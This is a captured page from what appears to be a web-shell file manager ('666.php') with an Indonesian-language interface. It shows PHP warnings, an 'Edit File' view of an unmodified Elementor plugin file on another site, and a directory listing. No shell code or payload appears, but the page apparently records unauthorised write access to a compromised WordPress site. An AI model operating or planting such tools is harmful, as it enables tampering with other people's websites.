??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/renovaid.co.uk/wp-content/plugins/elementor/core/utils/assets-config-provider.php
⬅ Kembali
<?php
namespace Elementor\Core\Utils;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Assets_Config_Provider extends Collection {
/**
* @var callable|null
*/
private $path_resolver = null;
/**
* @param callable $path_resolver
*
* @return $this
*/
public function set_path_resolver( callable $path_resolver ) {
$this->path_resolver = $path_resolver;
return $this;
}
/**
* Load asset config from a file into the collection.
*
* @param $key
* @param $path
*
* @return $this
*/
public function load( $key, $path = null ) {
if ( ! $path && $this->path_resolver ) {
$path_resolver_callback = $this->path_resolver;
$path = $path_resolver_callback( $key );
}
if ( ! $path || ! file_exists( $path ) ) {
return $this;
}
$config = require $path;
if ( ! $this->is_valid_handle( $config ) ) {
return $this;
}
$this->items[ $key ] = [
'handle' => $config['handle'],
'deps' => $this->is_valid_deps( $config ) ? $config['deps'] : [],
];
return $this;
}
/**
* Check that the handle property in the config is a valid.
*
* @param $config
*
* @return bool
*/
private function is_valid_handle( $config ) {
return ! empty( $config['handle'] ) && is_string( $config['handle'] );
}
/**
* Check that the deps property in the config is a valid.
*
* @param $config
*
* @return bool
*/
private function is_valid_deps( $config ) {
return isset( $config['deps'] ) && is_array( $config['deps'] );
}
}
Nama
Tipe
Ukuran
Diubah
Aksi
📁 api
dir
—
2026-06-23 10:10
📁 import-export
dir
—
2026-06-23 10:10
📁 promotions
dir
—
2026-06-23 10:10
📁 svg
dir
—
2026-06-23 10:10
🐘 ab-test.php
php
2.4 KB
2025-09-15 14:10
🐘 assets-config-provider.php
php
1.5 KB
2023-08-23 17:47
🐘 assets-translation-loader.php
php
2.5 KB
2025-10-21 16:51
🐘 collection.php
php
10.1 KB
2025-12-22 17:25
🐘 exceptions.php
php
709 B
2025-03-17 17:28
🐘 force-locale.php
php
3.6 KB
2023-04-23 15:22
🐘 hints.php
php
14.7 KB
2026-03-30 13:49
🐘 http.php
php
981 B
2023-04-23 15:22
🐘 plugins-manager.php
php
2.8 KB
2025-04-28 11:15
🐘 static-collection.php
php
1.1 KB
2025-10-21 16:51
🐘 str.php
php
1001 B
2025-03-17 17:28
🐘 template-library-element-iterator.php
php
766 B
2026-03-30 13:49
🐘 template-library-import-export-utils.php
php
7.2 KB
2026-03-30 13:49
🐘 template-library-snapshot-processor.php
php
6.8 KB
2026-05-20 16:19
🐘 version.php
php
3.8 KB
2025-10-21 16:51